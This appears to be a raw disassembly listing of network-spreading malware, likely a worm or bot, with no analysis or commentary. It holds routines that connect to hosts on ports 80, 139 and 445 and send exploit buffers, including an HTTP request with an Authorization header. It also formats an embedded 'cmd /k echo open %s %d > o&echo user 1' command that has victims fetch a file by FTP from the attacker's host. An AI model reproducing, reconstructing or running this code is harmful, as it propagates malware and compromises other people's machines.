		add	esp, 0Ch
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_58]
		push	410h
		push	eax
		call	sub_40C6EA
		lea	ecx, [ebp+var_58]
		call	sub_40C816
		push	[ebp+var_54]
		lea	ecx, [ebp+var_50]
		push	[ebp+var_58]
		call	sub_40C92D
		lea	ecx, [ebp+var_58]
		call	sub_40C779
		push	esi
		lea	eax, [ebp+var_858]
		push	43h
		push	eax
		call	sub_41BD60
		add	esp, 0Ch
		push	offset aCccc	; "CCCC"
		lea	ecx, [ebp+var_18]
		call	sub_40C8C4
		push	4
		push	offset dword_433420
		lea	ecx, [ebp+var_18]
		call	sub_40C890
		push	[ebp+arg_8]
		lea	ecx, [ebp+var_18]
		push	[ebp+arg_4]
		call	sub_40C890
		sub	edi, [ebp+arg_8]
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_18]
		push	edi
		push	eax
		call	sub_40C890
		lea	ecx, [ebp+var_18]
		call	sub_40C816
		push	[ebp+var_14]
		lea	ecx, [ebp+var_40]
		push	[ebp+var_18]
		call	sub_40C8E1
		push	[ebp+var_4C]
		lea	ecx, [ebp+var_40]
		push	[ebp+var_50]
		call	sub_40C8E1
		lea	ecx, [ebp+var_40]
		call	sub_40C8F1
		lea	ecx, [ebp+var_18]
		call	sub_40C779
		lea	ecx, [ebp+var_50]
		call	sub_40C779
		push	[ebp+var_1C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_20]
		call	sub_40C8E1
		push	[ebp+var_2C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_30]
		call	sub_40C8E1
		push	[ebp+var_3C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_40]
		call	sub_40C8E1
		lea	ecx, [ebp+var_38]
		call	sub_40C8F1
		lea	ecx, [ebp+var_20]
		call	sub_40C779
		lea	ecx, [ebp+var_30]
		call	sub_40C779
		lea	ecx, [ebp+var_40]
		call	sub_40C779
		push	esi
		lea	eax, [ebp+var_858]
		push	41h
		push	eax
		call	sub_41BD60
		add	esp, 0Ch
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_28]
		push	400h
		push	eax
		call	sub_40C890
		lea	ecx, [ebp+var_28]
		call	sub_40C816
		push	2
		push	offset dword_433798
		lea	ecx, [ebp+var_28]
		call	sub_40C890
		push	[ebp+var_34]
		lea	ecx, [ebp+var_28]
		push	[ebp+var_38]
		call	sub_40C8E1
		lea	ecx, [ebp+var_28]
		call	sub_40C8F1
		lea	ecx, [ebp+var_38]
		call	sub_40C779
		lea	ecx, [ebp+var_10]
		call	sub_40C6E0
		lea	ecx, [ebp+var_8]
		call	sub_40C6E0
		push	[ebp+var_24]
		lea	ecx, [ebp+var_10]
		push	[ebp+var_28]
		call	sub_40C8E1
		lea	ecx, [ebp+var_10]
		call	sub_40C792
		lea	ecx, [ebp+var_28]
		call	sub_40C779
		push	offset dword_433794
		lea	ecx, [ebp+var_8]
		call	sub_40C8C4
		push	[ebp+var_C]
		lea	ecx, [ebp+var_8]
		push	[ebp+var_10]
		call	sub_40C8E1
		lea	ecx, [ebp+var_8]
		call	sub_40C792
		lea	ecx, [ebp+var_10]
		call	sub_40C779
		push	offset dword_433790
		lea	ecx, [ebp+var_10]
		call	sub_40C8C4
		push	[ebp+var_4]
		lea	ecx, [ebp+var_10]
		push	[ebp+var_8]
		call	sub_40C8E1
		lea	ecx, [ebp+var_10]
		call	sub_40C792
		lea	ecx, [ebp+var_8]
		call	sub_40C779
		push	offset dword_433784
		lea	ecx, [ebp+var_8]
		call	sub_40C8C4
		push	[ebp+var_C]
		lea	ecx, [ebp+var_8]
		push	[ebp+var_10]
		call	sub_40C8E1
		lea	ecx, [ebp+var_8]
		call	sub_40C792
		lea	ecx, [ebp+var_10]
		call	sub_40C779
		push	(offset	loc_43377F+1)
		lea	ecx, [ebp+var_48]
		call	sub_40C8C4
		push	[ebp+var_4]
		lea	ecx, [ebp+var_48]
		push	[ebp+var_8]
		call	sub_40C8E1
		lea	ecx, [ebp+var_8]
		call	sub_40C779
		pop	esi


loc_40CC90:				; CODE XREF: sub_40C94C+1Bj
					; sub_40C94C+29j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_48]
		pop	edi
		pop	ebx
		mov	[eax], ecx
		mov	ecx, [ebp+var_44]
		mov	[eax+4], ecx
		leave
		retn
sub_40C94C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CCA2	proc near		; CODE XREF: sub_40CD66+A2p
					; sub_40CD66+C7p ...

var_210		= dword	ptr -210h
var_20C		= dword	ptr -20Ch
var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		push	esi
		mov	esi, [ebp+arg_0]
		lea	eax, [ebp+var_8]
		push	edi
		push	eax
		lea	eax, [ebp+var_210]
		and	[ebp+var_4], 0
		push	eax
		lea	eax, [ebp+var_10C]
		push	0
		xor	edi, edi
		push	eax
		lea	eax, [esi+1]
		inc	edi
		push	eax
		mov	[ebp+var_108], esi
		mov	[ebp+var_10C], edi
		mov	[ebp+var_20C], esi
		mov	[ebp+var_210], edi
		mov	[ebp+var_8], 0Ah
		call	dword_428228	; select
		cmp	eax, edi
		jnz	short loc_40CD09
		lea	eax, [ebp+var_10C]
		push	eax
		push	esi
		call	sub_426FF6	; __WSAFDIsSet
		test	eax, eax
		jnz	short loc_40CD0D


loc_40CD09:				; CODE XREF: sub_40CCA2+54j
		xor	eax, eax
		jmp	short loc_40CD1D
; ---------------------------------------------------------------------------


loc_40CD0D:				; CODE XREF: sub_40CCA2+65j
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	dword_4CDC7C	; recv


loc_40CD1D:				; CODE XREF: sub_40CCA2+69j
		pop	edi
		pop	esi
		leave
		retn
sub_40CCA2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CD21	proc near		; CODE XREF: sub_40CD66+80p
					; sub_40CD66+AEp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_8]
		call	dword_4CDC60	; ntohl
		mov	[ebp+var_4], eax
		push	0
		lea	eax, [ebp+var_4]
		push	4
		push	eax
		push	[ebp+arg_0]
		call	dword_4CDCB4	; send
		cmp	eax, 4
		jz	short loc_40CD4B
		xor	al, al
		leave
		retn
; ---------------------------------------------------------------------------


loc_40CD4B:				; CODE XREF: sub_40CD21+24j
		push	0
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_4CDCB4	; send
		sub	eax, [ebp+arg_8]
		neg	eax
		sbb	eax, eax
		inc	eax
		leave
		retn
sub_40CD21	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CD66	proc near		; CODE XREF: sub_40CE45+48p
					; .packed:0040D2B6p

var_104		= byte ptr -104h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 104h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_8]
		lea	ebx, [edi+41h]
		push	ebx
		mov	[ebp+var_4], ebx
		call	sub_41BCA5
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jnz	short loc_40CD8F
		xor	al, al
		jmp	loc_40CE40
; ---------------------------------------------------------------------------


loc_40CD8F:				; CODE XREF: sub_40CD66+20j
		push	ebx
		push	0
		push	esi
		call	sub_41BD60
		push	2Fh
		push	offset dword_4334B0
		push	esi
		call	near ptr sub_41CAE0
		push	8
		lea	eax, [esi+31h]
		push	offset dword_4334E0
		push	eax
		mov	[esi+2Fh], di
		call	near ptr sub_41CAE0
		push	edi
		lea	ebx, [esi+3Bh]
		push	[ebp+arg_4]
		mov	[esi+39h], di
		push	ebx
		call	near ptr sub_41CAE0
		push	6
		add	ebx, edi
		push	offset dword_4D0968
		push	ebx
		call	near ptr sub_41CAE0
		push	85h
		push	offset dword_433428
		push	[ebp+arg_0]
		call	sub_40CD21
		add	esp, 48h
		test	al, al
		jnz	short loc_40CDF6


loc_40CDF2:				; CODE XREF: sub_40CD66+B8j
		xor	bl, bl
		jmp	short loc_40CE37
; ---------------------------------------------------------------------------


loc_40CDF6:				; CODE XREF: sub_40CD66+8Aj
		mov	edi, 100h
		push	0
		lea	eax, [ebp+var_104]
		push	edi
		push	eax
		push	[ebp+arg_0]
		call	sub_40CCA2
		push	[ebp+var_4]
		push	esi
		push	[ebp+arg_0]
		call	sub_40CD21
		add	esp, 1Ch
		test	al, al
		jz	short loc_40CDF2
		push	0
		lea	eax, [ebp+var_104]
		push	edi
		push	eax
		push	[ebp+arg_0]
		call	sub_40CCA2
		add	esp, 10h
		mov	bl, 1


loc_40CE37:				; CODE XREF: sub_40CD66+8Ej
		push	esi
		call	sub_41B881
		pop	ecx
		mov	al, bl


loc_40CE40:				; CODE XREF: sub_40CD66+24j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40CD66	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CE45	proc near		; CODE XREF: .packed:0040D29Cp

var_20		= byte ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	0
		push	48h
		push	offset unk_4334F0
		push	[ebp+arg_0]
		call	dword_428224	; send
		cmp	eax, 48h
		jnz	short loc_40CE80
		push	0
		lea	eax, [ebp+var_20]
		push	20h
		push	eax
		push	[ebp+arg_0]
		call	sub_40CCA2
		add	esp, 10h
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40CE80
		cmp	[ebp+var_20], 82h
		jz	short loc_40CE84


loc_40CE80:				; CODE XREF: sub_40CE45+1Bj
					; sub_40CE45+33j
		xor	al, al
		leave
		retn
; ---------------------------------------------------------------------------


loc_40CE84:				; CODE XREF: sub_40CE45+39j
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40CD66
		add	esp, 0Ch
		leave
		retn
sub_40CE45	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CE97	proc near		; CODE XREF: sub_40CEE3+2Dp

var_10		= qword	ptr -10h
var_8		= qword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_0]
		and	dword ptr [ebp+var_8+4], 0
		shl	eax, 3
		mov	dword ptr [ebp+var_8], eax
		fild	[ebp+var_8]
		fmul	dbl_428698
		call	sub_41CF68
		and	dword ptr [ebp+var_8+4], 0
		mov	dword ptr [ebp+var_8], eax
		fild	[ebp+var_8]
		push	ecx
		push	ecx		; double
		fst	[ebp+var_8]
		fmul	dbl_428690
		fstp	[esp+10h+var_10]
		call	sub_41CE49
		fadd	st, st
		pop	ecx
		pop	ecx
		fadd	[ebp+var_8]
		call	sub_41CF68
		inc	eax
		leave
		retn
sub_40CE97	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CEE3	proc near		; CODE XREF: sub_40D082+24p

var_40		= qword	ptr -40h

		mov	eax, offset loc_427697
		call	sub_41D434
		sub	esp, 2Ch
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		mov	[ebp-20h], edi
		mov	al, [ebp+13h]
		push	edi
		lea	ecx, [ebp-38h]
		mov	[ebp-38h], al
		call	sub_40D515
		push	dword ptr [ebp+10h]
		xor	ebx, ebx
		inc	ebx
		mov	[ebp-4], ebx
		call	sub_40CE97
		cmp	[ebp-2Ch], eax
		pop	ecx
		jnb	short loc_40CF25
		push	edi
		push	eax
		lea	ecx, [ebp-38h]
		call	sub_40D48F


loc_40CF25:				; CODE XREF: sub_40CEE3+36j
		cmp	[ebp+10h], edi
		mov	[ebp-18h], edi
		jbe	loc_40D043
		mov	ebx, [ebp+10h]


loc_40CF34:				; CODE XREF: sub_40CEE3+157j
		cmp	dword ptr [ebp+10h], 3
		jb	short loc_40CF3F
		push	3


loc_40CF3C:				; CODE XREF: sub_40CEE3+64j
		pop	ebx
		jmp	short loc_40CF52
; ---------------------------------------------------------------------------


loc_40CF3F:				; CODE XREF: sub_40CEE3+55j
		cmp	dword ptr [ebp+10h], 2
		jnz	short loc_40CF49
		push	2
		jmp	short loc_40CF3C
; ---------------------------------------------------------------------------


loc_40CF49:				; CODE XREF: sub_40CEE3+60j
		cmp	dword ptr [ebp+10h], 1
		jnz	short loc_40CF52
		xor	ebx, ebx
		inc	ebx


loc_40CF52:				; CODE XREF: sub_40CEE3+5Aj
					; sub_40CEE3+6Aj
		mov	[ebp-28h], ebx
		mov	[ebp-24h], edi
		fild	qword ptr [ebp-28h]
		push	ecx
		push	ecx		; double
		fmul	dbl_4286A0
		fstp	[esp+40h+var_40]
		call	sub_41CF8F
		pop	ecx
		pop	ecx
		call	sub_41CF68
		cmp	ebx, edi
		mov	[ebp-1Ch], eax
		jbe	short loc_40CF91
		mov	esi, [ebp+0Ch]
		mov	ecx, ebx
		mov	edx, ecx
		lea	edi, [ebp-10h]
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		xor	edi, edi


loc_40CF91:				; CODE XREF: sub_40CEE3+94j
		mov	cl, [ebp-10h]
		mov	dl, [ebp-10h]
		sar	cl, 2
		and	cl, 3Fh
		and	dl, 3
		mov	[ebp-14h], cl
		mov	cl, [ebp-0Fh]
		sar	cl, 4
		and	cl, 0Fh
		add	[ebp+0Ch], ebx
		shl	dl, 4
		add	cl, dl
		mov	dl, [ebp-0Fh]
		mov	[ebp-13h], cl
		mov	cl, [ebp-0Eh]
		sar	cl, 6
		and	dl, 0Fh
		sub	[ebp+10h], ebx
		and	cl, 3
		xor	esi, esi
		shl	dl, 2
		add	cl, dl
		mov	[ebp-12h], cl
		mov	cl, [ebp-0Eh]
		and	cl, 3Fh
		cmp	eax, edi
		mov	[ebp-11h], cl
		jbe	short loc_40CFFF
		add	[ebp-18h], eax


loc_40CFE3:				; CODE XREF: sub_40CEE3+11Aj
		movsx	eax, byte ptr [ebp+esi-14h]
		lea	ecx, [ebp-38h]
		mov	al, byte_433540[eax]
		push	eax
		push	1
		call	sub_40D310
		inc	esi
		cmp	esi, [ebp-1Ch]
		jb	short loc_40CFE3


loc_40CFFF:				; CODE XREF: sub_40CEE3+FBj
		cmp	dword ptr [ebp-18h], 48h
		jb	short loc_40D01D
		push	dword ptr [ebp+14h]
		call	sub_41B7B0
		pop	ecx
		push	eax
		lea	ecx, [ebp-38h]
		push	dword ptr [ebp+14h]
		call	sub_40D36A
		mov	[ebp-18h], edi


loc_40D01D:				; CODE XREF: sub_40CEE3+120j
		push	4
		pop	esi
		cmp	[ebp-1Ch], esi
		jnb	short loc_40D037
		sub	esi, [ebp-1Ch]


loc_40D028:				; CODE XREF: sub_40CEE3+152j
		push	3Dh
		push	1
		lea	ecx, [ebp-38h]
		call	sub_40D310
		dec	esi
		jnz	short loc_40D028


loc_40D037:				; CODE XREF: sub_40CEE3+140j
		cmp	[ebp+10h], edi
		ja	loc_40CF34
		xor	ebx, ebx
		inc	ebx


loc_40D043:				; CODE XREF: sub_40CEE3+48j
		mov	esi, [ebp+8]
		mov	al, [ebp-38h]
		push	edi
		mov	ecx, esi
		mov	[esi], al
		call	sub_40D515
		push	0FFFFFFFFh
		lea	eax, [ebp-38h]
		push	edi
		push	eax
		mov	ecx, esi
		call	sub_40D3C2
		mov	[ebp-20h], ebx
		and	byte ptr [ebp-4], 0
		push	ebx
		lea	ecx, [ebp-38h]
		call	sub_40D515
		mov	ecx, [ebp-0Ch]
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn
sub_40CEE3	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D082	proc near		; CODE XREF: .packed:0040D27Fp
		mov	eax, offset loc_4276B4
		call	sub_41D434
		sub	esp, 10h
		push	ebx
		push	esi
		push	edi
		push	offset byte_43FE14
		lea	eax, [ebp-1Ch]
		push	dword ptr [ebp+10h]
		xor	ebx, ebx
		mov	[ebp-4], ebx
		push	dword ptr [ebp+0Ch]
		push	eax
		call	sub_40CEE3
		mov	eax, [ebp+1Ch]
		mov	ecx, [ebp-14h]
		mov	byte ptr [ebp-4], 1
		lea	esi, [ecx+eax+36h]
		push	esi
		call	sub_41BCA5
		mov	edi, eax
		add	esp, 14h
		cmp	edi, ebx
		jnz	short loc_40D0CC
		xor	bl, bl
		jmp	short loc_40D110
; ---------------------------------------------------------------------------


loc_40D0CC:				; CODE XREF: sub_40D082+44j
		mov	ecx, [ebp-18h]
		mov	eax, offset dword_4286A8
		cmp	ecx, ebx
		jnz	short loc_40D0DA
		mov	ecx, eax


loc_40D0DA:				; CODE XREF: sub_40D082+54j
		cmp	[ebp+18h], ebx
		jz	short loc_40D0E2
		mov	eax, [ebp+18h]


loc_40D0E2:				; CODE XREF: sub_40D082+5Bj
		push	ecx
		push	eax
		push	offset aGetHttp1_0Host ; "GET /	HTTP/1.0\r\nHost: %s\r\nAuthorization"...
		push	esi
		push	edi
		call	sub_41C150
		add	esp, 14h
		push	ebx
		push	esi
		push	edi
		push	dword ptr [ebp+8]
		call	dword_4CDCB4	; send
		cmp	eax, esi
		jz	short loc_40D107
		xor	bl, bl
		jmp	short loc_40D109
; ---------------------------------------------------------------------------


loc_40D107:				; CODE XREF: sub_40D082+7Fj
		mov	bl, 1


loc_40D109:				; CODE XREF: sub_40D082+83j
		push	edi
		call	sub_41B881
		pop	ecx


loc_40D110:				; CODE XREF: sub_40D082+48j
		and	byte ptr [ebp-4], 0
		push	1
		lea	ecx, [ebp-1Ch]
		call	sub_40D515
		or	dword ptr [ebp-4], 0FFFFFFFFh
		push	1
		lea	ecx, [ebp+14h]
		call	sub_40D515
		mov	ecx, [ebp-0Ch]
		pop	edi
		mov	al, bl
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn
sub_40D082	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 420h
		and	byte ptr [ebp-420h], 0
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0FFh
		xor	eax, eax
		lea	edi, [ebp-41Fh]
		push	8Fh
		rep stosd
		stosw
		stosb
		lea	eax, [ebp-420h]
		push	offset sub_4336F0
		push	eax
		call	near ptr sub_41CAE0
		add	esp, 0Ch
		mov	eax, offset byte_42A10C
		push	eax
		push	eax
		movzx	eax, word ptr dword_4CD998
		push	eax
		push	dword ptr [ebp+8]
		call	sub_40AB14
		pop	ecx
		push	eax
		push	offset aCmdKEchoOpenSD ; "cmd /k echo open %s %d > o&echo user 1 "...
		lea	eax, [ebp-391h]
		push	400h
		push	eax
		call	sub_41C150
		add	eax, 90h
		push	eax
		lea	eax, [ebp-420h]
		push	eax
		push	164h
		lea	eax, [ebp-8]
		push	offset sub_433588
		push	eax
		call	sub_40C94C
		xor	esi, esi
		add	esp, 30h
		cmp	[ebp-4], esi
		jnz	short loc_40D1DB
		xor	eax, eax
		jmp	loc_40D303
; ---------------------------------------------------------------------------


loc_40D1DB:				; CODE XREF: .packed:0040D1D2j
		mov	[ebp-0Ch], esi


loc_40D1DE:				; CODE XREF: .packed:0040D2DEj
		test	esi, esi
		jnz	loc_40D2E4
		push	6
		push	1
		push	2
		call	dword_428220	; socket
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_40D2CC
		xor	eax, eax
		lea	edi, [ebp-1Ah]
		stosd
		push	dword ptr [ebp+0A8h]
		stosd
		stosd
		stosw
		mov	word ptr [ebp-1Ch], 2
		call	dword_4CDC64	; ntohs
		mov	[ebp-1Ah], ax
		lea	eax, [ebp+0Ch]
		push	eax
		call	dword_4CDCA4	; inet_addr
		mov	[ebp-18h], eax
		lea	eax, [ebp-1Ch]
		push	10h
		push	eax
		push	ebx
		call	dword_4CDC0C	; connect
		cmp	eax, 0FFFFFFFFh
		jz	loc_40D2C1
		cmp	dword ptr [ebp+0A8h], 50h
		jnz	short loc_40D289
		mov	al, [ebp+0C3h]
		sub	esp, 10h
		mov	esi, esp
		mov	[ebp-20h], esp
		push	0
		mov	ecx, esi
		mov	[esi], al
		call	sub_40D515
		lea	eax, [ebp+0Ch]
		push	eax
		call	sub_41B7B0
		pop	ecx
		push	eax
		lea	eax, [ebp+0Ch]
		push	eax
		mov	ecx, esi
		call	sub_40D54D
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8]
		push	ebx
		call	sub_40D082
		add	esp, 1Ch
		jmp	short loc_40D2BE
; ---------------------------------------------------------------------------


loc_40D289:				; CODE XREF: .packed:0040D247j
		cmp	dword ptr [ebp+0A8h], 8Bh
		jnz	short loc_40D2A3
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8]
		push	ebx
		call	sub_40CE45
		jmp	short loc_40D2BB
; ---------------------------------------------------------------------------


loc_40D2A3:				; CODE XREF: .packed:0040D293j
		cmp	dword ptr [ebp+0A8h], 1BDh
		jnz	short loc_40D2C1
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8]
		push	ebx
		call	sub_40CD66


loc_40D2BB:				; CODE XREF: .packed:0040D2A1j
		add	esp, 0Ch


loc_40D2BE:				; CODE XREF: .packed:0040D287j
		movzx	esi, al


loc_40D2C1:				; CODE XREF: .packed:0040D23Aj
					; .packed:0040D2ADj
		push	ebx
		call	dword_4CDCFC	; closesocket
		test	esi, esi
		jnz	short loc_40D2D7


loc_40D2CC:				; CODE XREF: .packed:0040D1F7j
		push	3E8h
		call	dword_428064	; Sleep


loc_40D2D7:				; CODE XREF: .packed:0040D2CAj
		inc	dword ptr [ebp-0Ch]
		cmp	dword ptr [ebp-0Ch], 2
		jl	loc_40D1DE


loc_40D2E4:				; CODE XREF: .packed:0040D1E0j
		lea	ecx, [ebp-8]
		call	sub_40C779
		test	esi, esi
		jz	short loc_40D301
		mov	eax, [ebp+0B0h]
		shl	eax, 6
		lea	eax, dword_432A98[eax]
		inc	dword ptr [eax]


loc_40D301:				; CODE XREF: .packed:0040D2EEj
		mov	eax, esi


loc_40D303:				; CODE XREF: .packed:0040D1D6j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_427678


loc_40D308:				; CODE XREF: sub_427678+3j
					; .packed:00427691j ...
		push	1
		call	sub_40D515
		retn
; END OF FUNCTION CHUNK	FOR sub_427678

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D310	proc near		; CODE XREF: sub_40CEE3+111p
					; sub_40CEE3+14Cp

arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, ecx
		or	eax, 0FFFFFFFFh
		push	edi
		sub	eax, [esi+8]
		cmp	eax, [ebp+arg_0]
		ja	short loc_40D327
		call	sub_426CA0


loc_40D327:				; CODE XREF: sub_40D310+10j
		cmp	[ebp+arg_0], 0
		jbe	short loc_40D362
		mov	edi, [esi+8]
		push	0
		add	edi, [ebp+arg_0]
		mov	ecx, esi
		push	edi
		call	sub_40D48F
		test	al, al
		jz	short loc_40D362
		movsx	eax, [ebp+arg_4]
		push	[ebp+arg_0]
		push	eax
		mov	eax, [esi+4]
		add	eax, [esi+8]
		push	eax
		call	sub_41BD60
		mov	eax, [esi+4]
		add	esp, 0Ch
		mov	[esi+8], edi
		and	byte ptr [edi+eax], 0


loc_40D362:				; CODE XREF: sub_40D310+1Bj
					; sub_40D310+2Fj
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		retn	8
sub_40D310	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D36A	proc near		; CODE XREF: sub_40CEE3+132p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, ecx
		or	eax, 0FFFFFFFFh
		push	edi
		sub	eax, [esi+8]
		cmp	eax, [ebp+arg_4]
		ja	short loc_40D381
		call	sub_426CA0


loc_40D381:				; CODE XREF: sub_40D36A+10j
		cmp	[ebp+arg_4], 0
		jbe	short loc_40D3BA
		mov	edi, [esi+8]
		push	0
		add	edi, [ebp+arg_4]
		mov	ecx, esi
		push	edi
		call	sub_40D48F
		test	al, al
		jz	short loc_40D3BA
		push	[ebp+arg_4]
		mov	eax, [esi+8]
		add	eax, [esi+4]
		push	[ebp+arg_0]
		push	eax
		call	near ptr sub_41CAE0
		mov	eax, [esi+4]
		add	esp, 0Ch
		mov	[esi+8], edi
		and	byte ptr [edi+eax], 0


loc_40D3BA:				; CODE XREF: sub_40D36A+1Bj
					; sub_40D36A+2Fj
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		retn	8
sub_40D36A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D3C2	proc near		; CODE XREF: sub_40CEE3+179p
					; sub_426CFA+46p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		mov	edi, ecx
		cmp	[ebx+8], eax
		jnb	short loc_40D3DA
		call	sub_426ECC


loc_40D3DA:				; CODE XREF: sub_40D3C2+11j
		mov	eax, [ebx+8]
		mov	ecx, [ebp+arg_4]
		mov	esi, eax
		sub	esi, ecx
		cmp	[ebp+arg_8], esi
		jnb	short loc_40D3EC
		mov	esi, [ebp+arg_8]


loc_40D3EC:				; CODE XREF: sub_40D3C2+25j
		cmp	edi, ebx
		jnz	short loc_40D40A
		add	esi, ecx
		push	0FFFFFFFFh
		push	esi
		mov	ecx, edi
		call	sub_40D582
		push	[ebp+arg_4]
		mov	ecx, edi
		push	0
		call	sub_40D582
		jmp	short loc_40D486
; ---------------------------------------------------------------------------


loc_40D40A:				; CODE XREF: sub_40D3C2+2Cj
		test	esi, esi
		jbe	short loc_40D44D
		cmp	esi, eax
		jnz	short loc_40D44D
		mov	eax, [ebx+4]
		test	eax, eax
		jnz	short loc_40D41E
		mov	eax, offset dword_4286A8


loc_40D41E:				; CODE XREF: sub_40D3C2+55j
		cmp	byte ptr [eax-1], 0FEh
		jnb	short loc_40D44D
		push	1
		mov	ecx, edi
		call	sub_40D515
		mov	eax, [ebx+4]
		test	eax, eax
		jnz	short loc_40D439
		mov	eax, offset dword_4286A8


loc_40D439:				; CODE XREF: sub_40D3C2+70j
		mov	[edi+4], eax
		mov	ecx, [ebx+8]
		mov	[edi+8], ecx
		mov	ecx, [ebx+0Ch]
		mov	[edi+0Ch], ecx
		inc	byte ptr [eax-1]
		jmp	short loc_40D486
; ---------------------------------------------------------------------------


loc_40D44D:				; CODE XREF: sub_40D3C2+4Aj
					; sub_40D3C2+4Ej ...
		push	1
		push	esi
		mov	ecx, edi
		call	sub_40D48F
		test	al, al
		jz	short loc_40D486
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		test	eax, eax
		jnz	short loc_40D46A
		mov	eax, offset dword_4286A8


loc_40D46A:				; CODE XREF: sub_40D3C2+A1j
		mov	ecx, [ebp+arg_4]
		push	esi
		add	eax, ecx
		push	eax
		push	dword ptr [edi+4]
		call	near ptr sub_41CAE0
		mov	eax, [edi+4]
		add	esp, 0Ch
		mov	[edi+8], esi
		and	byte ptr [esi+eax], 0


loc_40D486:				; CODE XREF: sub_40D3C2+46j
					; sub_40D3C2+89j ...
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn	0Ch
sub_40D3C2	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D48F	proc near		; CODE XREF: sub_40CEE3+3Dp
					; sub_40D310+28p ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		cmp	edi, 0FFFFFFFDh
		jbe	short loc_40D4A1
		call	sub_426CA0


loc_40D4A1:				; CODE XREF: sub_40D48F+Bj
		mov	eax, [esi+4]
		xor	edx, edx
		cmp	eax, edx
		jz	short loc_40D4C9
		mov	cl, [eax-1]
		cmp	cl, dl
		jz	short loc_40D4C9
		cmp	cl, 0FFh
		jz	short loc_40D4C9
		cmp	edi, edx
		mov	ecx, esi
		jnz	short loc_40D508
		dec	byte ptr [eax-1]
		push	edx


loc_40D4C0:				; CODE XREF: sub_40D48F+48j
		call	sub_40D515


loc_40D4C5:				; CODE XREF: sub_40D48F+4Cj
					; sub_40D48F+53j
		xor	al, al
		jmp	short loc_40D510
; ---------------------------------------------------------------------------


loc_40D4C9:				; CODE XREF: sub_40D48F+19j
					; sub_40D48F+20j ...
		cmp	edi, edx
		jnz	short loc_40D4E4
		cmp	[esp+8+arg_4], dl
		jz	short loc_40D4D9
		push	1
		mov	ecx, esi
		jmp	short loc_40D4C0
; ---------------------------------------------------------------------------


loc_40D4D9:				; CODE XREF: sub_40D48F+42j
		cmp	eax, edx
		jz	short loc_40D4C5
		mov	[esi+8], edx
		mov	[eax], dl
		jmp	short loc_40D4C5
; ---------------------------------------------------------------------------


loc_40D4E4:				; CODE XREF: sub_40D48F+3Cj
		cmp	[esp+8+arg_4], dl
		jz	short loc_40D501
		mov	eax, [esi+0Ch]
